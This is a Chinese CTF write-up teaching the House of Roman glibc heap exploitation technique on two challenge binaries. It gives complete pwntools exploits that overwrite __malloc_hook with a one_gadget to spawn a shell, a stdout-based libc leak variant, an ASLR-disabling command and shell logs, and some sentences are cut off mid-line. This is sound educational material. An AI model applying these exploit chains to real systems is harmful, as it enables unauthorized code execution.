House-Of-Roman学习笔记

iptabLs / 2019-10-19 10:19:58 / 浏览数 2979 安全技术 二进制安全 顶(0) 踩(0)

House-Of-Roman学习笔记

最近整理护网杯的题目（今年护网杯凉了），发现去年还留下一题pwn没有完成，题目提示是house of roman，最近一次比赛也出现了一道叫fkroman的题目，估计也是涉及这个知识点，趁此机会学习一下house of roman，把去年留下的坑填上。

原理简述

House of Roman这个攻击方法由romanking98在2018年4月提出（作者GitHub：https://github.com/romanking98/House-Of-Roman），主要用于程序无打印功能，在不泄露libc地址的前提下，通过低位地址写+爆破的方法来bypass ALSR。

忽略堆风水具体操作细节，简单总结House of Roman攻击原理就是：

- 通过低位地址写修改fastbin的fd，修改到`malloc_hook-0x23`
- 通过unsortedbin attack，将`main_arean`地址写入`malloc_hook`
- 使用fastbin attack，通过低位地址写修改`malloc_hook`中的地址为`one gadget`

至于具体如何进行`fastbin attack`和`unsortedbin attack`，要根据题目进行具体分析，下面通过例题进行详细分析。

实战例题

进行本地调试时，可以先把ASLR关掉

```
echo 0 > /proc/sys/kernel/randomize_va_space
```

完成exp后爆破使用脚本：

```
#!/bin/bash
for i in `seq 1 9999`; do python exp.py; done;
```

护网杯2018 calendar

```
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
 signed int v3; // eax
 char s; // [rsp+10h] [rbp-50h]
 char v5; // [rsp+4Fh] [rbp-11h]
 unsigned __int64 v6; // [rsp+58h] [rbp-8h]

 v6 = __readfsqword(0x28u);
 init_0();
 printf("input calendar name> ", a2);
 memset(&s, 0, 0x40uLL);
 get_str((__int64)&s, 64);
 v5 = 0;
 printf("welcome to use %s\n", &s);
 while ( 1 )
 {
   while ( 1 )
   {
     v3 = menu();
     if ( v3 != 2 )
       break;
     edit();
   }
   if ( v3 > 2 )
   {
     if ( v3 == 3 )
     {
       remove();
     }
     else if ( v3 == 4 )
     {
```

```
      exit(0);
    }
  }
  else if ( v3 == 1 )
  {
    add();
  }
 }
}
```

程序菜单：

```
---------calendar management---------
1. add a schedule
2. edit a schedule
3. remove a schedule
4. exit
```

程序只有add，edit，remove 三个功能，跟常见的题目相比，明显少了一个show的功能，因此正常情况下缺少泄露地址的手段（当然有其他手段，暂且不提）。

漏洞点一：程序的读取输入函数存在off by one。

```
__int64 __fastcall sub_B5F(__int64 a1, signed int a2)
{
 char buf; // [rsp+13h] [rbp-Dh]
 unsigned int i; // [rsp+14h] [rbp-Ch]
 unsigned __int64 v5; // [rsp+18h] [rbp-8h]

 v5 = __readfsqword(0x28u);
 for ( i = 0; (signed int)i <= a2; ++i )
 {
   if ( (signed int)read(0, &buf, 1uLL) <= 0 )
   {
     puts("read error");
     exit(0);
   }
   if ( buf == 10 )
   {
     *(_BYTE *)((signed int)i + a1) = 0;
     return i;
   }
   *(_BYTE *)(a1 + (signed int)i) = buf;
 }
 return i;
}
```

漏洞二：remove没有清空指针，存在double free。

```
void remove()
{
 int v0; // [rsp+Ch] [rbp-4h]

 v0 = day();
 if ( v0 != -1 )
   free((void *)qword_202060[v0]);
}
```

程序add的size最大只是0x68，因此不能直接申请到unsorted bins的大小，需要通过off by one修改chunk的size进行overlapping。

```
add(0,0x18) # 0
add(1,0x68) # 1
add(2,0x68) # 2
add(3,0x68) # 3
edit(0,0x18,'a'*0x18+'\xe1')
remove(1)
```

修改前

```
pwndbg> x/32gx 0x556cfeda2000
0x556cfeda2000: 0x0000000000000000      0x0000000000000021
0x556cfeda2010: 0x0000000000000000      0x0000000000000000
```

```
0x556cfeda2020: 0x0000000000000000      0x0000000000000071
0x556cfeda2030: 0x0000000000000000      0x0000000000000000
0x556cfeda2040: 0x0000000000000000      0x0000000000000000
```

修改后，可以看到1号chunk的size变成了0xe1

```
pwndbg> x/32gx 0x556cfeda2000
0x556cfeda2000: 0x0000000000000000      0x0000000000000021
0x556cfeda2010: 0x6161616161616161      0x6161616161616161
0x556cfeda2020: 0x6161616161616161      0x00000000000000e1
0x556cfeda2030: 0x0000000000000000      0x0000000000000000
0x556cfeda2040: 0x0000000000000000      0x0000000000000000
```

此时free掉1号chunk，会把2号chunk吞掉，组成一个0xe0大小的unsortedbin，这是本题得到libc地址的基础。

```
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x556cfeda2020 —■ 0x7fe8036d6b78 (main_arena+88) —■ 0x556cfeda2020 ■— 0x7fe8036d6b78
smallbins
empty
largebins
empty
```

攻击第一步：通过低位地址写修改fastbin的fd到`malloc_hook-0x23`，为什么是这里？因为这里有一个0x7f，用于后续的fastbin attack。

```
pwndbg> x/8gx 0x7fe8036d6b10-0x23
0x7fe8036d6aed <_IO_wide_data_0+301>:   0xe8036d5260000000      0x000000000000007f
0x7fe8036d6afd: 0xe803397e20000000      0xe803397a0000007f
0x7fe8036d6b0d <__realloc_hook+5>:      0x000000000000007f      0x0000000000000000
0x7fe8036d6b1d: 0x0100000000000000      0x0000000000000000
```

现在的任务是让fastbins链中写入一个libc的地址，我们可以在上面的代码做个小修改，在进行off by one之前，先把1号chunk释放掉，让它进入fastbins，再进行overlapping。

```
add(0,0x18) # 0
add(1,0x68) # 1
add(2,0x68) # 2
add(3,0x68) # 3
remove(1)
edit(0,0x18,'a'*0x18+'\xe1')
remove(1)
```

这样可以让fastbin和unsortedbin重叠

```
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x55db47562020 —■ 0x7f6faea28b78 (main_arena+88) —■ 0x55db47562020 ■— 0x7f6faea28b78
0x80: 0x0
unsortedbin
all: 0x55db47562020 —■ 0x7f6faea28b78 (main_arena+88) —■ 0x55db47562020 ■— 0x7f6faea28b78
smallbins
empty
largebins
empty
```

然后申请一个非0x70大小的chunk（因为申请0x70大小会优先使用fastbin），此时会使用`unsortedbin`进行分配，对此chunk进行edit就可以对fd进行低位地址写。

```
add(3,0x18) # 3
edit(3,0x1,p64(libc.sym['__malloc_hook']-0x23)[:2]) # p16(2aed)

edit(0,0x18,'a'*0x18+'\x71') # fix chunk size
add(1,0x68)
add(0,0x68) # __malloc_hook-0x13
```

完成后可以看到fastbin的fd指向_IO_wide_data_0+301，也就是__malloc_hook-0x23

```
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x55db47562020 —■ 0x7f6faea28aed (_IO_wide_data_0+301) ■— 0x6fae6e9e20000000
0x80: 0x0
unsortedbin
all: 0x55db47562040 —■ 0x7f6faea28b78 (main_arena+88) —■ 0x55db47562040 ■— 0x7f6faea28b78
smallbins
empty
largebins
empty
```

再次使用off by one重新修改0x55db47562020的size位为0x71，恢复fastbin的正常结构。进行两次分配后，可以申请到__malloc_hook-0x13的位置，查看程序存储chunk地址的list可

```
pwndbg> x/8gx 0x55db46403000+0x202060
0x55db46605060: 0x00007f6faea28afd      0x000055db47562030
0x55db46605070: 0x000055db475620a0      0x000055db47562030
0x55db46605080: 0x0000000000000068      0x0000000000000068
0x55db46605090: 0x0000000000000068      0x0000000000000018
```

攻击第二步：通过unsortedbin attack，将main_arean地址写入malloc_hook。

由于本题限制了最大只能申请0x70大小的内存，因此在进行unsortedbin attack前，首先需要修复fastbin，不然后续会发生报错。修复方法很简单，free掉一个0x70大小的chunk，然后使用UAF将fd修改为0，然后申请一个0x70大小的chunk，清

```
remove(1)
edit(1,7,p64(0)) # fix fastbins
add(3,0x68)
```

首先申请一个0x50大小的，使unsortedbin与2号chunk重叠，然后直接对2号chunk进行edit，就可以进行低地址写，修改unsortedbin的bk为__malloc_hook-0x10。然
attack，可以看到__malloc_hook的值已被修改为main_arena+88

```
add(3,0x48)
edit(2,0x8+1,p64(0)+p64(libc.sym['__malloc_hook']-0x10)[:2])
add(3,0x68)
```

```
pwndbg> p __malloc_hook
$2 = (void *(*)(size_t, const void *)) 0x7f6faea28b78 <main_arena+88>
```

最后一步：使用fastbin attack，通过低位地址写修改malloc_hook中的地址为one gadget。

至此，一切攻击都准备就绪了。第一步完成时，3号chunk已经指向了__malloc_hook-0x13，这里直接对3号chunk进行edit，修改__malloc_hook的低3位地址为one gadget。然后使用double free触发调用__malloc_hook即可getshell。

```
one_gadget = libc.address + 0xf02a4
edit(0,0x13+2,'a'*0x13+p64(one_gadget)[:3])

remove(3)
remove(3)
```

```
pwndbg> p __malloc_hook
$3 = (void *(*)(size_t, const void *)) 0x7f6fae7542a4 <exec_comm+1140>
```

完整exp：

```
from pwn import *
target = 'calendar'
elf = ELF('./'+target)
```

```
context.binary = './'+target
p = process('./'+target)
libc = elf.libc

def add(idx,size):
   p.sendlineafter('choice> ','1')
   p.sendlineafter('choice> ',str(idx+1))
   p.sendlineafter('size> ',str(size))

def edit(idx,size,content):
   p.sendlineafter('choice> ','2')
   p.sendlineafter('choice> ',str(idx+1))
   p.sendlineafter('size> ',str(size))
   p.sendafter('info> ',content)

def remove(idx):
   p.sendlineafter('choice> ','3')
   p.sendlineafter('choice> ',str(idx+1))

libc.address = 0x233000

p.sendlineafter('name> ','kira')
add(0,0x18) # 0
add(1,0x68) # 1
add(2,0x68) # 2
add(3,0x68) # 3
remove(1)
edit(0,0x18,'a'*0x18+'\xe1')
remove(1)

add(3,0x18) # 3
edit(3,0x1,p64(libc.sym['__malloc_hook']-0x23)[:2])

edit(0,0x18,'a'*0x18+'\x71') # fix chunk size
add(1,0x68)
add(0,0x68) # __malloc_hook-0x13

remove(1)
edit(1,7,p64(0)) # fix fastbins
add(3,0x68)

add(3,0x48)
edit(2,0x8+1,p64(0)+p64(libc.sym['__malloc_hook']-0x10)[:2])
add(3,0x68)

#one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc.address + 0xf02a4
edit(0,0x13+2,'a'*0x13+p64(one_gadget)[:3])

remove(3)
remove(3)

p.interactive()
```

```
    'choice> '
[DEBUG] Sent 0x2 bytes:
    '4\n'
[*] Switching to interactive mode
[DEBUG] Received 0x57 bytes:
    "*** Error in `./calendar': double free or corruption (fasttop): 0x0000560abababd0a0 ***\n"
*** Error in `./calendar': double free or corruption (fasttop): 0x0000560abababd0a0 ***
$ id
[DEBUG] Sent 0x3 bytes:
    'id\n'
[DEBUG] Received 0x7b bytes:
    'uid=1000(kira) gid=1000(kira) groups=1000(kira),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113
uid=1000(kira) gid=1000(kira) groups=1000(kira),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpad
$
s0:wl.pl                                                                    1 python
```

云安全共测大赛 fkroman

```
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
 signed int i; // [rsp+4h] [rbp-2Ch]
 int v5; // [rsp+8h] [rbp-28h]
 unsigned int v6; // [rsp+Ch] [rbp-24h]
 char s; // [rsp+10h] [rbp-20h]
 unsigned __int64 v8; // [rsp+28h] [rbp-8h]

 v8 = __readfsqword(0x28u);
 init_0();
 for ( i = 0; i <= 4095; ++i )
 {
   menu();
   memset(&s, 0, 0x10uLL);
   get_str((__int64)&s, 15);
   v5 = atoi(&s);
   if ( v5 == 5 )
     break;
   printf("Index: ", 15LL);
   get_str((__int64)&s, 15);
   v6 = atoi(&s);
   if ( v5 == 2 ) // show
   {
     puts("No way");
     continue;
   }
   if ( v5 > 2 )
   {
     if ( v5 == 3 )
     {
       remove(v6);
       continue;
     }
     if ( v5 == 4 )
     {
       edit(v6);
       continue;
     }
   }
   else if ( v5 == 1 )
   {
     add(v6);
     continue;
   }
   puts("Invalid option!\n");
 }
 return 0LL;
}
```

程序菜单：

```
1.alloc
2.show
3.free
4.edit
5.exit
```

虽然菜单里面有show，然而是用不了的。跟上一题类似，有alloc，free，edit的功能，没有打印信息的函数。

漏洞一：free之后没有清空指针，存在double free。

```
int __fastcall remove(unsigned int a1)
{
 int result; // eax

 if ( a1 <= 0xFF )
 {
   free((void *)qword_4060[a1]);
   result = puts("Done!\n");
 }
```

```
 return result;
}
```

漏洞二：edit的时候，输入长度由用户输入决定，直接就是一个堆溢出。

```
unsigned __int64 __fastcall edit(unsigned int a1)
{
 int v1; // ST1C_4
 char nptr; // [rsp+20h] [rbp-20h]
 unsigned __int64 v4; // [rsp+38h] [rbp-8h]

 v4 = __readfsqword(0x28u);
 if ( a1 <= 0xFF && qword_4060[a1] )
 {
   printf("Size: ");
   get_str((__int64)&nptr, 16);
   v1 = atoi(&nptr);
   printf("Content: ", 16LL);
   get_str(qword_4060[a1], v1);
   puts("Done!\n");
 }
 return __readfsqword(0x28u) ^ v4;
}
```

另外本题alloc时大小可控，没有限制，相比上一题难度低不少。

```
unsigned __int64 __fastcall add(unsigned int a1)
{
 size_t size; // [rsp+1Ch] [rbp-24h]
 unsigned __int64 v3; // [rsp+38h] [rbp-8h]

 v3 = __readfsqword(0x28u);
 if ( a1 <= 0xFF )
 {
   printf("Size: ");
   get_str((__int64)&size + 4, 16);
   LODWORD(size) = atoi((const char *)&size + 4);
   qword_4060[a1] = malloc((unsigned int)size);
   if ( !qword_4060[a1] )
     exit(0);
   puts("Done!\n");
 }
 return __readfsqword(0x28u) ^ v3;
}
```

由于本题的漏洞时堆溢出，因此有部分攻击过程会比上题简单一点。第一步同样是通过修改chunk的size进行overlapping，制造重叠的chunk。唯一不同的地方是，进行修
size为0x71的步骤，可以通过一次edit完成。

```
alloc(0,0x10)
alloc(1,0x60)
alloc(2,0x60)
alloc(3,0x60)

free(1)
edit(0,0x20,flat(0,0,0,0xe1))
free(1)

edit(0,0x22,flat(0,0,0,0x71)+p64(libc.sym['__malloc_hook']-0x23)[:2])

alloc(4,0x60)
alloc(5,0x60) # __malloc_hook
```

这题也没有限制malloc大小，可以直接申请大于0x70大小的chunk，因此修复fastbin链的步骤也可以跳过。上一个步骤是直接使用堆溢出来修改fd，没有申请chunk，制造

```
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
```

```
0x60: 0x0
0x70: 0xab7cebee20000000
0x80: 0x0
unsortedbin
all: 0x56160694b020 —■ 0x7fab7d1fdaed (_IO_wide_data_0+301) ■— 0xab7cebee20000000
smallbins
empty
largebins
empty
```

继续对0号chunk进行堆溢出就可以修改unsortedbin的BK，注意需要把chunk size修复为0xe1。这里我没有使用double free触发报错，直接调用malloc就成功getshell。

```
edit(0,0x22+8,flat(0,0,0,0xe1,0)+p64(libc.sym['__malloc_hook']-0x10)[:2])
alloc(6,0xd0) # unsorted bins
one_gadget = libc.address + 0xf1147
edit(5,0x16,'a'*0x13+p64(one_gadget)[:3])#5cf147 ba1147
alloc(8,0x60)
```

完整EXP：

```
def pwn():
   def alloc(idx,size):
       p.sendlineafter('choice: ','1')
       p.sendlineafter('Index: ',str(idx))
       p.sendlineafter('Size: ',str(size))

   def free(idx):
       p.sendlineafter('choice: ','3')
       p.sendlineafter('Index: ',str(idx))

   def edit(idx,size,content):
       p.sendlineafter('choice: ','4')
       p.sendlineafter('Index: ',str(idx))
       p.sendlineafter('Size: ',str(size))
       p.sendafter('Content: ',content)

   # house of roman
   libc.address = 0x233000
   alloc(0,0x10)
   alloc(1,0x60)
   alloc(2,0x60)
   alloc(3,0x60)

   free(1)
   edit(0,0x20,flat(0,0,0,0xe1))
   free(1)
   # fastbin attack
   edit(0,0x22,flat(0,0,0,0x71)+p64(libc.sym['__malloc_hook']-0x23)[:2])

   alloc(4,0x60)
   alloc(5,0x60) # __malloc_hook
   # unsortedbin attack
   edit(0,0x22+8,flat(0,0,0,0xe1,0)+p64(libc.sym['__malloc_hook']-0x10)[:2])
   alloc(6,0xd0) # unsorted bins
   #one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
   one_gadget = libc.address + 0xf1147
   edit(5,0x16,'a'*0x13+p64(one_gadget)[:3])#5cf147 ba1147
   alloc(8,0x60)
   p.interactive()
```

这题比护网杯的简单，不过核心的思路仍然是fastbin attack和unsortedbin attack。

更多思考

重新打开ASLR进行测试exp时，脸黑的兄弟会发现跑了很久很久都不成功，因为House-Of-Roman成功率实在有点感人，虽然大幅度降低了爆破的范围，仍然需要爆破12b

原因很简单，因为有更好更稳定的攻击手段，就是修改`IO_FILE`结构体进行地址泄漏。以第二题fkroman为例，在第一步进行fastbin attack时，将fd修改至stdout附近，然后修改stdout结构体，即可泄漏libc地址，后面修改`__malloc_hook`就无需进行低地址写爆破，将成功率提高到1/16，非洲人福音。

_IO_2_1_stdout_泄露地址的方法看其他大佬的文章，这里不展开说了，可以参考：https://xz.aliyun.com/t/5057

fkroman的exp可修改为：

```
def pwn():
   def alloc(idx,size):
       p.sendlineafter('choice: ','1')
       p.sendlineafter('Index: ',str(idx))
       p.sendlineafter('Size: ',str(size))

   def free(idx):
       p.sendlineafter('choice: ','3')
       p.sendlineafter('Index: ',str(idx))

   def edit(idx,size,content):
       p.sendlineafter('choice: ','4')
       p.sendlineafter('Index: ',str(idx))
       p.sendlineafter('Size: ',str(size))
       p.sendafter('Content: ',content)

   global p
   alloc(0,0x10)
   alloc(1,0x60)
   alloc(2,0x60)
   alloc(3,0x60)

   free(1)
   edit(0,0x20,flat(0,0,0,0xe1))
   free(1)
   edit(0,0x22,flat(0,0,0,0x71)+p16(0x65dd))

   alloc(4,0x60)
   alloc(5,0x60)
   edit(5,0x54,'a'*0x33+p64(0xfbad2887|0x1000)+p64(0)*3+'\x00')
   libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stderr_'] - 192
   success(hex(libc.address))

   free(2)
   edit(2,0x8,p64(libc.sym['__malloc_hook']-0x23))
   alloc(6,0x60)
   alloc(7,0x60)
   edit(7,0x1b,'a'*0x13+p64(libc.address+0xf1147))
   alloc(8,0x60)
   p.interactive()
```

用这个exp的成功率大大提升，各位非洲人可以试试。

```
[*] Process './fkroman' stopped with exit code -6 (SIGABRT) (pid 26749)
[+] Starting local process './fkroman': pid 26754
[*] Process './fkroman' stopped with exit code -11 (SIGSEGV) (pid 26754)
[+] Starting local process './fkroman': pid 26765
[*] Process './fkroman' stopped with exit code -11 (SIGSEGV) (pid 26765)
[+] Starting local process './fkroman': pid 26774
[*] Process './fkroman' stopped with exit code -11 (SIGSEGV) (pid 26774)
[+] Starting local process './fkroman': pid 26779
[*] Process './fkroman' stopped with exit code -6 (SIGABRT) (pid 26779)
[+] Starting local process './fkroman': pid 26790
[*] Process './fkroman' stopped with exit code -6 (SIGABRT) (pid 26790)
[+] Starting local process './fkroman': pid 26799
[*] Process './fkroman' stopped with exit code -11 (SIGSEGV) (pid 26799)
[+] Starting local process './fkroman': pid 26804
[*] Process './fkroman' stopped with exit code -6 (SIGABRT) (pid 26804)
[+] Starting local process './fkroman': pid 26815
[+] 0x7f4e02a71000
[*] Switching to interactive mode
$ id
uid=1000(kira) gid=1000(kira) groups=1000(kira),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadm
$
s0:wl.pl                                                                    1 python
```


总结

House-Of-Roman的攻击思路很值得学习，不过改修改IO_FILE结构体的方法成功率更高，本地测试基本秒出，正常情况下还是优先考虑用此方法。

参考

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/house_of_roman-zh/

https://github.com/romanking98/House-Of-Roman